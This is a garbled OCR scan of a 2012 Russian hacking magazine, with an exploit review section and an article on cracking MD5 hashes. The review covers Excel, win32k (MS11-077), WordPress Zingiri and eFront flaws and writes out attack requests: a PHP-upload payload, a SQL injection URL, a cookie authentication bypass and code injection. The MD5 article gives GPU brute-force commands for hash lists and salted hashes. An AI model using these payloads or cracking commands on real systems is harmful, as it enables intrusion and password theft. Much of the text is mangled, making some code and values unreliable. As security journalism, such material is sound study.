.text :З0199EAD add esp, 0Ch

.text:30199EB0 test edi, edi

.text : 30199EB2 mov dword_30F72бC0, еЬх

.text:30199EB8 jnz loc_301E0DBЗ

Считается, что для уязвимастей типа п ереполнения буфера

пи сать эксплоиты не сложно. Однако в данном случае одновре­

менно используютс я защитны е механизмы, включаемые флагами

компилятора / GS и / SAFESEH . На пом ню, что /GS- это флаг для компилятора MS Visual Studio, отвечающий за внедрение меха­низмов, кото рые за щищают буфер в стеке от переполнения . Если

компилятор с читает, что для функции в оз можно п е реполнение

буфера, то в проце ссе компиляции он выделяет для нее память

в с теке перед возвращаемым адр есо м . При входе в функцию в

выделенную па мять за гружаетс я объект безопа с ности cookie, который формируется од ин раз пр и за грузке модуля . Пр и выходе

из функции и при обработке кадров в обратном порядке в 64-раз­

рядных о п ерацион ны х системах вызывается вспомогательная

функция , которая проверяет, не изменилось ли значение объекта

coo kie. Если значение изменило сь, то это может означать, что

стек был пере з аписан. При обнаруже н ии измененного значе-

ния процесс заверш ается. /SAFESEH за щищаетустановленны е SЕН-обработчики от п е ре за пи с и . Обработчик исключ е ний

представляетсобой фрагмент кода, который выполня ется в

и сключительных сл учаях, например nри п о пытке деления на

ноль. Адрес обработчика хранится в стеке фу нкции, и поэтому

его вполне можно п о в ред ить. В ходя щий в состав Visual Studio компоновщик поддерживает параметр / SAFESEH для с охра не н и я

056

во время компиляции сп иска до п устимых обработчи ков исклю­

чений в заголовке РЕ-образа. Если nри выполнении возникает

исключительная ситуация, операционная система пр оверяет nр а ­

виль н есть адреса об ра ботчика по заголовку образа. Е с ли адрес

не правиль ный, работа при л ожения прерывается. Нота к как мы

имеем доступ к memcpy, то сможем nepen исать стек после все х

прове ра к, в ключаемых фла гом / GS . Когда управление вернется, в esp будет н аходиться контролируемое нами з нач е ние . Таким об­

разом, мы сможем передать на н егоупра влени е про с тым вызовом

ca ll esp .

i(.1;ldfifi Microsoft Office Excei2007/Microsoft Office Excel2007 SP2 .

,_i,J!Iiit•J:I Существует обно вление, уст р а няющее этууяз ви масть .

2 MS11-077 Win32k Null Pointer De-reference Vulnerabllity РОС

CVSSV2 ~2

111111 111 111 11 11111

1]]Ш Датарелиза: 2Зоктября2011 года.

Автор: KiDebug. CVE: CVE-2011-1985.

11111 [AVL/AC:L/Au:N/C:C/1 С/АС)

Уяз вимость на ходится в wi n32k.sys и з аключается в том, что для не­кото рых сообщений п ереда нн ое з начени е хэ ндла окна не проверя­

етс я. Это п озволяет нам осуществить атаку типа «Отказ в обслужи­

вании>> от имени ло кал ьного nользователя.

IJ34!•Jii Возьмем для примера ли стинг одной из уязвимых функций :

.text:BF9140C0 ; _stdcall NtUserfniNCBOXSTRING(x,x,x,x,x,x,x)

.text:BF9140C0 _NtUserfniNCBOXSTRING@28 proc near CODE XREF: xxxDefWindowProc(xJx,x,x)+бE [ p

. text:BF9140C0 NtUserМessageCall(x,x,x,x,x,x,x)+бl[p

.text:BF9140C0

.text :BF9140C0 НWND dword ptr 8

. text :BF9140C0 arg_4 dword ptr 0Ch

.text:BF9140C0 arg_8 dword ptr 10h

.text:BF9140C0 arg_C dword ptr 14h

.text:BF9140C0 arg_10 dword ptr 18h

.text:BF9140C0 arg_14 dword ptr lCh

.text:BF9140C0 arg_18 dword ptr 20h

ХАКЕР 01 /156/2012

Page 59: haker

RETURIJ t o EXCEL . ЭO II OВEE frooo ЕХСf:L .зооовА7Э

Прыжок к началу полезной нагрузки

.text:BF914ece

.text:BF914ece mov edi, edi

.text:BF9148C2 push еЬр

.text:BF914eCЗ mov еЬр, esp

. text : BF9148CS mov есх, [ebp+НWND)

; Если НWND == exffffffff (-1), то .text:BF9148C8 mov еах, [ecx+2eh ) BSOD

Функция NtUse гMessageCall вызывает NtUseгfniNCBOXSTRING по

инде ксу, связанному с номером сообщения CB _ADDSTRING:

.text :BF88EE6B ; i nt __ stdcall NtUserMessageCall(int, int, int UnicodeString, PVOID Address, int, int, int)

.text:BF88EEB1

.text:BF88EEB4

.text:BF88EEBB

.text:BF88EEBC

push movzx push push

[ebp+arg_18) ; int еах, ds:_MessageTaЫe[eax]

есх int [ebp+arg_le) int

. text: BF88EE BF and е ах, ЗFh

. text : BF88EEC2 push [ ebp+Address] Address

.text :BF88EECS push [ebp+UnicodeString] ; int

. text: BF 88E EC8 push [ ebp+arg_ 4] ; int

. t ext: BF 88EECB push esi ; int

. text : BF 88E ECC call ds:_gapfnMessageCall[eax*4 ) ; NtUserfniNSTRINGNULL(x,x,x,x,x,x,x)

. rdat a:BF998D68 _gapfnМessageCall dd offset _NtUserfnNCDESTROY@28

.rdata :BF998D68 ; DATA XREF: NtUserМessageCall(x,x,x,x,x,x,x)

. rdat a :BF99eD68 ; NtUserfnNCDESTROY(x, x,x,x,x,x,x)

.rdata :BF998D6C dd offset _NtUserfnNCDESTROY@28 ; NtUserfnNCDESTROY(x,x,x,x,x, x,x)

.rdata:BF998D7e dd offset _NtUserfniNLPCREATESTRUCT@28 ; NtUserfniNLPCREATESTRUCТ(x,x,x,x, x,x,x)

. rdat a: BF998DD4 dd offset _NtUserfniNCBOXSTRING@28 ; NtUserfniNCВOXSTRING(x,x,x,x,x, x,x)

Для того чтобы успешно проэксплуатировать эту уязвимость, не­

обходимо выполнить функцию

SendMessageCallback((HWND)- l ,CB_ADDSTRING, e, e, e, e);

или

SendNotifyMessage((HWND)- l ,CB_ADDSTRING, e, e);

ХАКЕР 01 / 156/201 2

Обзор эксплоитов

В заключение перечислим все сообщения, использование которых в

приведенном выше коде дает аналогичный результат- BSoD:

CB_ADDSTRING ехе14З

CB_INSERTSTRING ехе14А

CB_FINDSTRING ехе14С

CB_SELECТSTRING exe14D CB_FINDSTRINGEXACT ехе1sв

LB_ADDSTRING ехюве

LB_INSERTSTRING ехе1в1

LB_SELECTSTRING ехе1вс

LB_FINDSTRING exelBF LB_FINDSTRINGEXACT ехе1А2

LB_INSERTSTRINGUPPER exelAA LB_INSERTSTRINGLOWER ехеlдВ

LB_ADDSTRINGUPPER ехе1дс

LB_ADDSTRINGLOWER exelAD

.,.,,Jdjfi Windows ХР SP3/XP SP2 х64, Windows 2003 Sегvег SP21+ itanium,x64l, Windows Vista SP2/ SP2 х64 , Windows Sегvег 2008 SP2 х32/х64/ itan ium, Windows 7 х32/х64 , Windows 7 SP1 х32/х64, Windows Sегvег 2008 г2 x64/i tanium, г2 spl x64/itan ium .

f"j•J!Iiji•J:I Существует обновление для MSll-077, устраняющее эту уязвимость .

3 Удаленное выполнение кода в Wordpress Zingiri Web Shop Plugin

CVSSV2 ~5

11111111 1111 11 11111111 1 1111 111 1 I:N/AC:L/Au:N / C: Р/ 1: P/A:PI

Шl1Ш WoгdPгe ss уже давн о вышел за рамки простой платформы для

ведения блогов. Теперь к нему можно прикрутить немыелимое ко­

лич ество плагинов , вплоть до тех , которые отвечают за внедрение

электронной коммерции. Сегодня нашим подопытным стал один

и з таки х плагинов- плагин для создания онлайн-магазина,- что

еще раз доказывает бе с печность некоторых программистов при

разработке продуктов, на которые в первую очередь падает взор

люде й в черных шляпах. Уязвимость обнаружил исследователь

Egidi o Romano aka EgiX в конце октября . Хороший мальчик EgiX отправил ра з работчикам отчет о ба г е и только 13 ноября, после вы­хода исправленной версии , обнародовал подробную информацию

об уязвимости .

IJ:J4!•Jii Интересующий нас код содержится в функции /fws/addons/ t i пу m с e/j sc гi р t s/t i пу _ m с е 1 р 1 u g i п s/ а j ах f i 1 е ma па g е г 1 а j ах_ s ave _ name.php, строчки 37-56 представлены на соответствующем рисунке . Здесь мы можем повлиять на значение массива

$selectedDocuments через POST -параметр value. Затем нужно отобразить содержимое $selectedDocuments с помощью функции displayAггayll и вызвать функцию wгitelnfoll, использующую со­держимое буфера, где находится $selectedDocuments. Рассмо­трим функцию wгitelnfoll , находящуюся по адресу /fws/addons/ t i п у m се /j s с гi р t s/t i пу _ m се/ р 1 u g i п s/ а j ах f i 1 е ma па g е г 1 а j ах_ с геа t е_ foldeг.php:

function writeinfo($data, $die = false) {

$fp = @fopen(dirname( __ FILE __ ) .

DIRECTORY_SEPARATOR . 'data.php' , 'w+' ); @fwrite($fp, $data);

057

Page 60: haker

ВЗЛОМ/ОБЗОРЭКСПЛОИТОВ

Код функции GetUserTimeTargetll

@fwrite($fp, "\n\n" • date( 'd/M/Y H:i:s' ) ); @fclose($fp);

О да! Она записывает переданные ей данные в файл data.php, что позволяет атакующему исполнить п роизвольный код на уязви мой

системе с привилегиями веб-сервера. Эксплоит для этого ба га

доступен на ex pl oit- db .com !EDB-10: 18111]. Он написан на РНР, поэтому для его использования необходимо установить и нтерпре­

татор языка РНР. Для винды тебе придется скачивать инеталпер

с официального сайта, а для линуксов достаточно одной команды

пакетного менеджера, например:

11 для Arch Li nux # pacman -5 php / /для Debian- based # apt-get install php

Испольэоватьэксплоитдостаточнопросто:

$ php 18111.php <host> <path>

Здесь <host>- наименование ха ста, <path>- путь к WoгdPгess. Стоит отметить, что такой же ба г присутствует в аналоге этого пла­

гина для Joomla!, нотам он не эксплуатабелен из-за неподходящего значения переменной CONFIG_SYS_ROOT_PATH.

if·1;1d:Jfi Woгdpгess Ziпgiгi Web Shop Plugin от 0.9.12 до 2.2.3.

fi·l!iiji·B' Обновиться до версии 2.2 .4 или более поздней.

' Множественныеуязвимости в eFront

CVSSV2 ~5

111111 1111 111 11 111111 1111 [AV: N/AC:L/Au: N/C:P/1: Р/А:Р]

IШIJj] В конце октября исследователь под ником EgiX опубликовал информацию о целой пачке уязвимастей в популярном за рубежом

корпоративном продукте eFгont. Этот продукт интересен хотя бы

просто потому, что на его прим ере можно рассмотреть большинство

широко распространенных в настоящее время уязвимастей в веб­

приложениях и понять, как не надо программировать.

Цf:JQ!•Iii 1. Удаленное выполнение кода. Бажный код содержится в файле

/www /е d i to г /t i ny _ m се/ р 1 ug i п s/save _ te m р 1 а te/s ave _ te m р 1 а te. р h р !строки 8-18]:

058

if ($_POST[ 'templateName' ]) { $dir = ' .. / .• / .. / .. /content/editor_templates/' .

$_SESSION[ 's_login' ]; if (!is_dir($dir) && !mkdir($dir, 8755 )) {

throw new Exception(_COULDNOTCREATEDIRECTORY);

$filename = $dir. '/' .$_POST[ 'templateName' ]. '.html' ; $templateContent = $_POST[ 'templateContent' ]; if (file_exists($filename) === false) {

$ok = file_put_contents($filename, $templateContent);

chmod($filename, 8644);

Данные пользователя, передаваемые в функцию file_put_ contents() через параметры $_POST[ 'templateName' ] и$_ POST[ 'templateContent' ] , никак не фильтруются . Таким образом,

атакующий, который имеет аккаунт в системе, может записать

произвольный код в файл с расширением php, если включена директива magic_quotes_gpc. Запрос, эксплутирующий эту уязвимость, выглядиттак:

POST /efront/www/editor/tiny_mce/plugins/ save_template/save_template.php НТТР/1.1

Host: localhost Content-Length: бе

Content-Type: application/x-www-form-urlencoded Connection: keep-alive templateName=sh.php%ee&templateContent= < ?php evil_code(); ?>

2. Загрузка произвольных файлов. Уязвимый код содержится в функ­ции checkFile[], которая находится в файле /libгaгies/filesystem. class.php, строки 3143-3154 представлены на соответствующем рисунке. Метод FileSystemTгee::uploadFile!l, отвечающий за загрузку всех файлов, используетсhесkFilе[] для проверки рас­

ширения загружаемого файла. Она, в свою очередь, сравнивает

расширение с элементами черного списка file_Ыack_list, в число

которых по умолчанию входят php, php3, jsp, asp, cgi, pl, ехе, сот, bat. Благодаря этому атакующий может запросто загрузить аватар с расширением php.

3. SQL-инъекция через оператор UPDATE. Рассмотрим код функции getUseгTimeTaгget[], которая находится в /libгaгies/ tools.php : он представлен на соответствующей картинке. Эта функция парсит переданную ей ссылку и, если находит пара­

метр package_l О, использует её значение как индекс в массиве $entity. Чтобы понять суть проблемы, за глянем в код /www/ peгiod ic_ u pdateг.php:

if ($_5ESSION[ 's_login' ]) { $entity = getUserTimeTarget($_GET[ 'HТТP_REFERER' ]);

//$entity = $_5ESSION['s_time_!arget ' ] ; //Update times for this entit y $result = eF_executeNew( "update user_times set time=time+("

. time(). "-timestamp_now),timestamp_now="

. time(). "lr.tlere session _ expired = е and session _ custan_ identifier =

$_5ESSIDN[ 's_custom_identifier' ]. "' and users_LOGIN = '" .

$_SESSION[ 's_login' ]. "' and entity = '" .

current($entity). "'and entity_id key($entity). "'" );

ХАКЕР 01 /156/2012

Page 61: haker

Данные, содержащиеся в $_GЕТ['НТТР _REFERER'], пере­даются в функцию getUseгTimeTaгgetl l , а возвращаемое

значение используется при последующем вызове функции

eF _executeNew ll . Таким образом, для внедрения произвольнога SQL-выражения атакующий может запросить URL следующего вида :

http:/ / localhost/efront/www/periodic_updater.php? HTTP_REFERER=http://host/?package_ID=[SQL]

В последних версиях продукта данные берутся из переменной $_SERVER('HПP _REFER ER '], что , в общем-то, никак не влияет на

ба г. Для успешной реализации атаки необходимо иметь аккаунт

в системе.

4. Обходаутентификации и повышение привил е гий . Уязвимый код

находится в /www/index.php:

if (isset($_COOKIE[ 'cookie_login' ]) && isset($_COOKIE[ 'cookie_password ' ]))

try { $user = EfrontUserFactory :: factory(

$_COOKIE[ 'cookie_login ' ]); $user - > login($_COOKIE[ 'cookie_password ' ], true);

Данные в $_COOKIE['cookie_login'J. используемые для создания нового объекта с помощью метода EfгontUserFactory::factoгyll, не фильтруются, благодаря чему можно обойти аутентификацию

и повысить привилегии:

GET /efront /www/index.php НТТР/1.1 Host: localhost Cookie: cookie_login=admin;cookie_login=1;cookie_ login=administrator;cookie_login=1;cookie_password=1 Connection : keep-alive

5. Внедрение произвольнога РНР-кода. Уязвимый кусок кода на­

ходится в /www/s tudent.php:

if (isset($_GET[ ' course' ]) 11 isset($_GET[ 'from_course' ]))

if ($_GET[ 'course' ])

}

$course new EfrontCourse($_GET[ 'course ' ]); else {

$course new EfrontCourse($_GET[ ' from_course' ]);

$eligibility = $course - > checkRules( $_SESSION[ ' s_login' ]) ;

Данные, находящиеся в $_GET['couгse'] или $_GEТ['from_ couгse'J. не фильтруются перед созданием нового объекта EfrontCourse, что позволяет выполнить код, так как в процессе создания объекта вызывается функция evalll :

/s tudent.php?lessons_ID=1&course[id]=1&course [directions_ID]=1&course[rules]=a: 1 :{s: 19 : "1]; phpinfo();die; /* " ;a: 1 :{s: б : "lesson" ;i : e ;}}

if.1;1dJt1 еFгопt <= 3.6.1 О [build 119441.

,_1,J!Iii[•I:J Обновиться до более поздней версии. ::К::

ХАКЕР 01 /156/2012

WEXLER.BOOK ESOOl

«МПРО 2033» ДМИТРИЯ ГЛУХОВСКОГО И ЕЩ~ ДВА РОМАНА КУЛЬТОВОЙ СЕРИИ БЕСПЛАТНО В ЭТОЙ ЭЛЕКТРОННОЙ КНИГЕ WEXLER

СТИЛЬНЫЙ ГАДЖЕТ

• ф WI!XLI!Г. •

www.wexler.ru pвШ·ilifijij

ТЕЛЕФОН ГОРЯЧЕЙ ЛИНИИ: 8 (800) 200 96 60

Page 62: haker

взлом

ВСЕ МЕТОДЫ ВЗЛОМА

ПОПУЛЯРНОГО АЛГОРИТ­

МА ХЕШИРОВАНИЯ

Видеокарта АТI Radeon НО 4850 Х2 nозволяет

генер ировать до 2,2 миллиардов хеш ей в секунду!

Исnользование ал ­горитма MD5 в ЭЦn неприемлемо вслед­

ствие недостаточной устойч и вости этого алгоритма к nо иску

коллизи й .

bjt.Jy/yEhdiг -добавление нового алгоритма

хеширования в

RainbowCгack nри nомощи АР! .

bjt.[y/viSB9K ­оnисание формата ссрадужной~>

таблицы .

Илья Вербицки й [Ьiog.chivavas.org[

На наш ем диске ты сможешь

найти nодробное обучающее видео и

соответствующие

nрограммы для

реализации всех

описанных в статье

с пособов взлома MD5.

Н и для кого не секрет, что криптография проч ­

но вошла в нашу жизнь. Интернет-сервисы,

соци альные сети , мобильные устройства­

все они хранят в своих базах парали пользова­

теле й, заш и фрованные с помощью различных

алгоритмов . Наиболее популярным таким ал­

гор итмом сегодня, безусловно, является MD5. О способах его взлома и пойдет речь .

НЕМНОГО О КРИПТОГРАФИИ Современная кри птография вкл ючает в себя три н а п равле н ия : ш иф­

рование с закрытым ключ ом, шифро вание с откр ытым кл ючом и хе­

ширование . Сегодня мы поговорим о том, что такое хеширование и с

чем его едят. В целом под хешированием п онимают преобразование

входных данных произвольной длины в выходную битовуюстроку

фиксированной длины . Чаще всего хеш - функции применяют в про­

цессе аутентификации п ользователя lв базе да нны х обыч н о хра н ит­ся хеш па рол я вместо самого пароля l и для вычисления ко нтрольных сумм файлов, па кетов данных и т. п . Одним из наиболее известных и

широко используемых алгоритмов хеширования является MD5.

Алгоритм MD5 представляет собой 1 28-битн ый ал горитм хе ш иро­

вания. Это з н ачит, что он вычисляет 1 28-битн ый хеш дл я п роиз­

вольного набора данных, поступающих на его вход . Этот алгоритм

разработал профессор Рональд Ривест из Массачусетского техно­

логического института в 1991 годудля замены ме н ее надежного

предшественника - MD4. Алгоритм был впервые опубликован в

апреле 1992 года в RFC 1321. П осле этого MD5 стал использоваться дл я решения са мы х раз н ых задач, от хе ш ирова ния паралей в CMS до создания электронно-цифровых подп исей и SSL-сертификатов.

О том , что алгоритм MD5 можно взломать, вперв ые заговорили

в 1993 году. Исследователи Берт де н Боер и Антон Боссиларис по­

казали, что в алгоритме возможны псевдоколлизии. Ч ерез три года,

в 1996-м, Ганс Добберти н опубликовал статью, в которой доказал

наличие коллиз и й и о п исал теоретич ескую возможн ость взл ома

MD5. Это был еще не взлом, н о в м ире начались раз говоры о не­

обходимости перехода на более надеж н ые алгоритмы хеширования,

например SHA 1 [на момент написания этой статьи уже было доказ а­

но, что коллизии имеются и в этом ал горитме, п озтому рекомендую

ис пользовать SHA21 или RIPEMD-160.

ЕРВЫЕАТАК Непосредственный взлом MD5 на ч а лся 1 марта 2004 года. Ком пания

CeгtainKey Cгyptosystems запустил а проект MD5CRK - распределен­

ную систему поиска коллизий. Целью проекта был поиск двух сообще­

ний с идентичными хе ш - кодами. П роект завершился 24 августа 2004 года , когда четыре независимых исследователя - Ван Сяоюнь, Фэн

ХАКЕР 01 /156/20 12

Page 63: haker

~ ' ( ' 'jiJI:fl(,(; ,,

'" " .ы ~ " 1 -~' 4 t.'1 ),J ., f lt, ' !1: .• 1 l't ~ ;•t (.,J ~ "' 1.' ~ ili •\•! <•4 'о: ~. - ы: IЪ / 1 : I'J '•'-• ~ ~ (Jf, IJ'I 1 4 w ::·; ··4 tl: ш /1 41 •,,, f 1H LJJ А ,,н 1 ; Cl~

., '11 1J'1 l oJ '" 1' / Не.' -;; ~ ~ , JII 11:' ;,. -~ 1 '-,t·, ~ Loto f o<l . и ~ ·- '1 I 'J ,J,J .,,

' ~; 1 t .. t ::/ ~ 1·1 /о'.-' N ·-~ f lf, ~· ·11! t.tl •'' t:' l ." -;-; 4;• 1)/ '•/ !:!1 ~ ~- /IJ 1!1.1 ~ IJ1f 1··

• 'Н! ~· 1 ~ t-~- .JH ·~i • н. 1'< ,,., ;•t . ,,, 1 1 ;;,, /1>

'' • '1' н ~ rн .1 ~ ~

<11 н ,,,,

~ " l:f, .. ~ l,'i ~ '1, ~ ' j~: ~ 1''1 .,,; :• t f:,J ~ Ul 1:-' ф, j, ili 41.1 "4 t,:: -;,. ,,j· "' /1 :1 '1

' •'• ,, ,j ~ ~ ,-,., 1·1 1·-'· w 1:·: ···1 н:: Ui :' '• 1 1 ·11 '••• 00 .,, А с Н 1 / l; fj ., ~ ,,., 1<1 t,., ;;• 1)1} -; , ~ ~

oJI! н :' ~.- Jl ·.~. и : :t ~ ~ •• J ol•1 ~·- t.'J 1'1 ,_,, ibl '• ~ •::-• м ::, ~ ~~ ,.,j N ,,.; f lf, ~ •Ш c 1J - ~ "., '11 .. 4~ 1_1 1 •,/ ;, t•H ~ lof, !И 111.• ~'11 (Jrj ,,. l;f, ~ .,

'" t- ~. ,,н : :-; '1·; ~ IЧ ,, .. ~ '·' f'; ~ /1>

н. ,, t, ,., .,,,,,,, HIIL, <i !" ···:l /'HJ~,.1,.J;н,;•L, 1 ,t t. t.,;•,,,,.нн ·1:•;•,,,,f '••1• t .•1

Пример коллизии МDS-хешей

Брут MDS по маске

Дэнгуо, Лай Сюэцзя и Юй Хунбо- обна ружил и уязвимость алгоритма,

позволяющую найти коллизии аналитическим методом за более­

менее приемлемое время. С помощью этого метода можно всего лишь

за час выявить коллизии на кластере IBM р690 [жаль, что у меня нет такого дома].:-] Первого марта 2005 года было продем онстрировано первое использование указа нной уязвимости на практике. Группа

исследователей представила два сертификата Х . 509 с разными на­

борами ключей, но с идентичными контрольными суммами . В том же

году Властимил Клима опубликовал алгоритм, позволяющий обнару­

жи вать коллизии на обычном ноутбуке за несколько часов . В 2006 он п ошел дальше. Восемнадцатого марта 2006 года исследователь об­народовал алгоритм, находящий коллизии за одну минуту! Этот метод

получил название «туннелирование ». В 2008 году на конференции Chaos Communication Congгess была представлена статья о методе генера ции поддельных сертификатов Х . 509. Фактич ески это был пер­

вый случай реального использования коллизий в алгоритме MD5. Большая работа была также проделана и для ускорения взлома

хешей. В 2007 году Кевин Бриз представил программ у, использую­

щую Sony PlayStatioпЗ для взлома MD5. Он сумел добиться очень не­плохих результатов: 1,4 миллиарда МD5-хешей генерировали сь все­

го лишь за одну секунду! Уже через два года, в 2009-м, на BlackHat USA вышла статья об использовании GPU для поиска коллизий, что nозволяло повысить его скорость в несколько раз, особенно если он

выполнялся с nомощью нескольких видеокарт одновременн о.

В 2011 году IETF согласилось внести изменения в RFC 1321 [MD51 и RFC 2104 [HMAC-MD51 . Так появился документ RFC 6151. Он признает алгоритм шифрования MD5 небезапасным и рекомендует отказаться от его использования. На мой взгляд, этот документ официально

положил конец MD5. Однако, несмотря на то что алгоритм MD5 был офи циально признан небезопасным, существуют тысячи , если не

десятки и сотни ты ся ч приложений, которые используют его для

ХАКЕР 01 /15612012

Штурм MD5

х ранения па ролей, в электронно-цифровых подписях и для вычис­

ления контрольных сумм файлов . Кстати, 31 октября 2008 года NIST объявила конкурс среди криптографов. Цель конкурса- разрабо­

тать алгоритм хе шировани я на заме н у устаревшим SHA1 и SHA2. На данный моме нт финалисты уже о пределены- это BLAKE, Gostl, JH, Keccak и Skein. Победителя выберут во втором квартале этого года.

GHASHGPU: ВЗЛОМ С ПОМЩМЬЮ GPU Но хватиттеории. Давай перейдем к делу и поговорим непосред­

ственно о взломе нашего любимого алгоритма. Предположим, что

нам в руки попал хеш какого-то па рол я: d8578edf8458ceeбfbc5bЬ76a

58с5са4. Для взлома это го хеш а я предлагаю воспользоваться про­

граммой lghashgpu, которую можно скачать на сайте www.golubev.com или найти на нашем диске. Утилита распространяется совершенно

бесплатно и спокойно работает под виндой. Чтобы ускорить процесс

взлома xeшa , lghashgpu использует GPU, поэтом у тебе необходима

как минимум одна видеокарта пVid ia или ATI с поддержкой CUDA/ ATI Stгeam . Современные графические процессары nостроены на

несколько иной архитектуре, нежепи обычные CPU, поэтому они гораздо эффективнее обрабатывают графическую информацию. Хотя

GPU предназначены для обработки трехмерной графики, в последние несколько лет появилась тенденция к их применению и для обычных

вычислений. Начать работать с программой не просто, а очень просто:

распакуй архив в любое место на диске и приступай к взлому с по­

мощью командной строки Windows:

ighashgpu .exe -t:md5 \ -h:d8578edf8458ceeбfbc5bЫ6a58c5ca4 -max:7

Мы используем вышеприведенный с пособ для взлома одно го

определенного хеш а, сгенерированного при п омощи алгоритма MD5. Максимальная длина возможного пароля составляет семь символов .

Через какое-то время параль будет найден [qweгtyl. Те п ерь давай попробуем взломать еще один хеш, но с немного други­

ми условиями. Пусть наш хеш имеет вид dllfd4559815b2c3delb685bЫ

8а6283, а включает в себя буквы, цифры, знак подчеркивания и имеет

суффикс <<_admiп » . В данн ом случае мы можем использовать перебор

па рол я по маске, чтобы упростить программе задачу:

ighashgpu.exe -h:dllfd4559815b2c3delb685bЫ8a6283 -t : mdS -u:[abcdefghijklmпopqrstuwvxyz1234567890_] -m:??????_admiп

Здесь параметр '-u' позволяет указать набор символов, исполь­зуемых при переборе, а параметр '-m' задает маску пароля. В нашем случае маска состоит из шести произвольных символов, после

которых идет сочетание <<_admin >>. Подборпароля также не составит никакого труда.

коллизии

Коллизией в криптографии называют два разных входных блока

данны х, которые для одной и той же хеш-функции дают один и

тот же хе ш. Каждая функция на выходе дает по следовательность

битов определенной длины, которая не за висит от размера

п ерво начальны х данных. Отсюда следует, что коллизии существуют

для любого алгоритма хе ширования. Однако вероятность того, что

ты сможешь найти коллизию в <<хо рошем » алгоритме, практически

стремится к нулю. К сожале ни ю или к счастью, алгоритмы

хе ширования могут содержать ошибки, как и любые программы .

Многие хе ш-фу нкции либо уже бы ли сломаны, либо скоро будут.

В данном случае <<сломать» - з начит найти коллизию за время,

которое много меньше заявленной беско нечнос ти.

061

Page 64: haker

взлом

- ·- .. l! ~t b Pl l illtt llt

~ 16(t6)c: t0 tЫ1t.72fOc:t!d6И~c:99 !110 11t4.S:p.fi

blj bb7a!45140~ 50Ь3t!3ecc:Et!tt533bll

R.) bHc:07bc:073!1!5t!!Ь1Hd15H841tb р49!.:61

0 o~ t70c:6Ьdatd72c:561at7dsttc:to 6c!sl oe ~htp2 ftl 7 !ЬI)tь2fd142212C.H99!d05ttt8b9H d04:ny2V

pltintt rc:ot 16Et6Sc:t04Ы1 a72!0c: t!di79!c:99 fd0 1s de45;:'16 pltltlttltt of ЬЬ7t!45H0450b31 !38c:c:6!!t~533blt 11 dHht UO pl l iflttat c f bHc:0~013fi8518!Ы4!dt SH84ltb is p49!r.67 pla illteкt ot 02470<:6td!9d72c367 t 47d3!! c906d51 1s 04!4htp2

Plt 1ntt rt1DI!tr

fit65343561E e 36

HИHfi!74756!

703(39"'~""

306534Е!147032

dilk: C: \rtiCЬCМ:rtclr-l . S-\/1nS2\I:dS_lcoo.-e :tl~!': l -fi..:Uric:tl-7_0_20001975054~9_0 .:t: 780043904 b..,::t 3 :t!&d setrc:htn; forlhash ... plt1nttlt of 1tьь:Ь2fd1H2a2c:4!99!d 05 •ee!b944 11 dOt1r.yav d11t:thttld&Ьorted

pl&1ntt ztfound: tOt&ltillle: tiиo!chaint:a"-er,e: 2.e9t ti:r.to!a lanzcьect: 0 .54 s

1.03• ttuo!othe:opcrat1on: 0.01\ а

tUoe: ot di1Jr n ad: ~.~3 s ha' h ' redu.c:e c:aleulat 1ono! d'la1ntraverse: 99!ЮООО

hash , rtductc:a lculationofalar:~d'leclt:

tpet do:chaintrav.rte : IPf't do!alarllchea:

Н7!

3. 46 ll!illi~nl • 4.1161111lli!!ll/ l

Взломаные хеш и из файла eлcrypted.dat

IGHASHGPU: СПИСКИ Теперь давай попробуем взломать сразу несколько паралей одно­

временно . Предположим, что к нам в руки попала база данных

хешей па ролей . При этом известно, что каждый параль оканчивает­

ся символами cOOI:

fеЬ4бас8494Ы761аdЫ2еЗаа7776с2а

f2da2e2a5a215b66995de1f9327dbaa6 c7f7a34bbe8f385faa89ae4a9d94dacf сЫсЬ9а4е7е8а151ебс927е2З42fеас5

eea931d3facaad384169ebc31d38775c

49ббd8547ссее99аебfбббfе9fб8458е

Сохрани хеши в файле encгypted.dat и запусти lghashgpu как

указано ниже:

ighashgpu.exe -t:mdS -u:[abcdefghijklmnopqrstuwvxyz123456789e_] -m:??????ceel encrypted.dat

После завершения работы программы в папке lghashgpu появит­ся файл ighashgpu_гesults.txt со взломанными паролями:

feb46ac8494Ы761adЫ2eЗaa7776c2a:1rootxceel

f2da2e2a5a21Sb6699Sde1f9327dbaaб:pwd12xceel

c7f7a34bbe8f385faa89ae4a9d94dacf:pwd34yceel

cЫcb9a4e7eBa151eбc927e2З42feacS:pwd56yceel

4966d8547ccee99aeбfбббfe9f6845Be:pwd9Bzceel

eea931d3facaad384169ebc31d38775c:pwd78zceel

IGHASHGPU: СОЛЬ Наnоследок давай произведем взлом «nодсоленного>> хеша. Пред­

положим, что хеш генерируется по следующему алгоритму:

var plain = password + "s41t" ;

var hash = mdS(plain);

В итоге мы получили следующий хеш: 42151cf2ff27c5181bb36a8b

cfafea7b. lghashgpu позволяет указывать << соль>> в параметре <<-asalt >>:

ighashgpu.exe -h:42151cf2ff27c5181bb36a8bcfafea7b \

-t:mdS -u:[abcdefghijklmnopqrstuwvxyz123456789e_] \ -asalt:s41t

И мы снова получили искомый параль легко и быстро.

062

ЗАНИМАТЕЛЬНАЯ МАТЕМАТИКА

Для В-символьного пароля, составленного из первых 126 символов ASCII, доступно 63 527 879 748 485 376 возможных комбинаций. Для 254 символов количество возможных комбинаций возрастает до 17 324 859 956 700 833 536, что аж в 2,7 миллиарда раз больш е, чем людей на нашей

планете . Если создать текстовый файл, содержащий все эти па роли, то

он займет миллионы терабайт. Конечно, в современном мире это воз­

можно, но стоимость хранения такого файла будет просто заоблачной.

ВЗЛОМ MD5 В РЕЖИМЕ ТУРБО Взлом хеш ей путем полного перебора даже на самом лучшем

железе занимает довольно много времени, особе нно если па роль

больше восьми символов. Самый простой с по соб увеличить

скорость подбора пароля- это создать базу данных всех хеш ей

для определенного набора символов. В 80-х годах прошло-

го столетия хакеры полагали, что когда у них появится более

мощное железо, 640 Кб памяти и жесткий диск размером в 1 О Мб,

то такая база станет реальностью и подбор любого пароля пре­

вратится в минутное дело. Однако железо развивалась, а мечта

так и оставалась мечтой. Ситуация изменилась лишь в августе

2003 года, после того, как Филипп Оэшлин, доктор философии в

области компьютерных сетей из Швейцарского технологического

института в Л озанне, опубликовал свою работу о проблеме вы­

бора о птимального соотношения место-время. В ней описывался

метод взлома хеш-функций с помощью <<радуж ны х>> таблиц. Суть

нового метода заключается в следующем. Сначала необходимо

выбрать произвольный па роль, который затем хешируется и под­

вергается воздействию функции редукции, преобразующей хеш в

какой-либо возможный па роль [к примеру, это могут быть первые 64 бита исходного хеша). Далее строится цепочка возможных

